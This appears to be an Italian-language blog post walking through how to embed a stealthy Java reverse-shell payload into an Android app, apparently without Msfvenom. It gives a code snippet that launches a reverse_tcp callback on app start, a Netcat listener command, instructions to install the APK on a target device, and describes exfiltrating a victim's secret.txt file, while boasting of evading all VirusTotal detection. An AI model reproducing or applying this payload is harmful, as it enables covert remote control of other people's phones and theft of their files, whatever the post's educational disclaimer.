Un Payload Stealthy Java Reverse Shell per Android 13 e versioni precedenti senza utilizzare Msfvenom
Dichiarazione di non responsabilità: questo post è solo a scopo informativo ed educativo e per coloro che sono disposti e curiosi di conoscere e conoscere Android e Mobile Security. NON tentare di violare la legge con qualsiasi cosa qui contenuta poiché sei l'unico responsabile delle tue azioni .
Sono Rui Heng , amante della sicurezza offensiva e ricercatore di sicurezza. Nel mio primo post, dimostrerò un modo semplice per scrivere il tuo payload shell inverso furtivo funzionante sull'ultimo Android 13.0 Tiramisu , seguito da un semplice scenario di prova concettuale. Ho deciso di scrivere questo post a causa della mancanza di commenti sui payload che funzionano senza Msfvenom.
Il payload è testato da Android 4.4 a 13.0 API 33 su Pixel 6 Pro.
A partire dal 17 gennaio 2023, non è rilevabile da tutti i fornitori di sicurezza VirusTotal.
Sappiamo tutti che Msfvenom ha un modulo per incorporare un payload della shell inversa in un APK già compilato. Tuttavia, puoi facilmente scrivere il tuo payload più furtivo direttamente con un IDE come Android Studio con poche righe di codice prima di compilare l'APK, che sarà trattato in questo post.
Resta con me fino in fondo per una semplice prova di concetto!
Passiamo ora alle cose tecniche!
PASSAGGIO 1: Creazione della classe del payload Java (Payload.java)
Per questo payload, creiamo una nuova classe Java utilizzando le librerie java.ioe . java.net.SocketIl codice seguente è ciò di cui abbiamo bisogno per creare il socket e gestire l'input e l'output della shell inversa.
PASSAGGIO 2: creare un thread eseguibile per avviare la shell all'avvio dell'app
Innanzitutto, aggiungere la riga new Thread(runnable).start();alla funzione onCreate in MainActivity.java .
Quindi, aggiungi il codice seguente nella classe MainActivity che crea un oggetto eseguibile e chiama la funzione reverse_tcp dichiarata in Payload.java per avviare il callback della shell inversa. (Sostituisci la parte inferiore con l'indirizzo IP e il numero di porta del listener LHOST)
Runnable runnable = new Runnable() {
@Override
public void run() {
new Payload().reverse_tcp("<IP Address Here>", <Port Number>);
}
};
Tuttavia, tieni presente che l'abilitazione di autorizzazioni aggiuntive come android.permission.WRITE_EXTERNAL_STORAGEsblocca più possibilità. Non andremo oltre e questo dipende dalla tua esplorazione.
PASSAGGIO 4: Avvio di un listener e rilevamento della shell inversa
Compila l'APK e installalo sul dispositivo di destinazione. Sulla tua macchina Kali o attaccante, avvia un ascoltatore Netcat con (cambia 444 nella porta che hai impostato). Quindi, all'apertura dell'app, otterrai una shell inversa! Ci sono molte cose che possiamo fare con esso come eseguire comandi adb e Linux. nc -nvlp 444
Nota: se il dispositivo di destinazione è già rootato, otterrai l'accesso come superutente con il controllo COMPLETO . Questo è il rischio aggiuntivo quando si esegue il root del telefono.
Proof of Concept (POC) Time - Un semplice esempio
Nel mio test, ho un server cloud Kali ospitato su Internet e ha rilevato una shell inversa sulla mia vittima Pixel 6 Pro dopo che l'app è stata installata e avviata. Successivamente, utilizzeremo Netcat per esfiltrare un file secret.txt dalla cartella Download della vittima come mostrato di seguito:
Avvolgendo!
È davvero semplice scrivere il proprio payload della shell inversa funzionante anche con l'ultima API 33 di Android e Build 13.0. Sono rimasto sorpreso quando ho provato questo da solo. Ci sono molti diversi POC e idee che puoi fare con una shell come questa anche quando non è privilegiata. È interessante notare che ho appreso che i dispositivi Android più recenti hanno già Netcat installato , il che lo rende un modo estremamente potente per avviare connessioni di rete e trasferimenti di file.
Questo post è stato parte della mia scoperta durante l'esecuzione della mia ricerca e la sperimentazione con le shell inverse di Android.
Se sei arrivato qui, grazie per aver letto!

![Che cos'è un elenco collegato, comunque? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































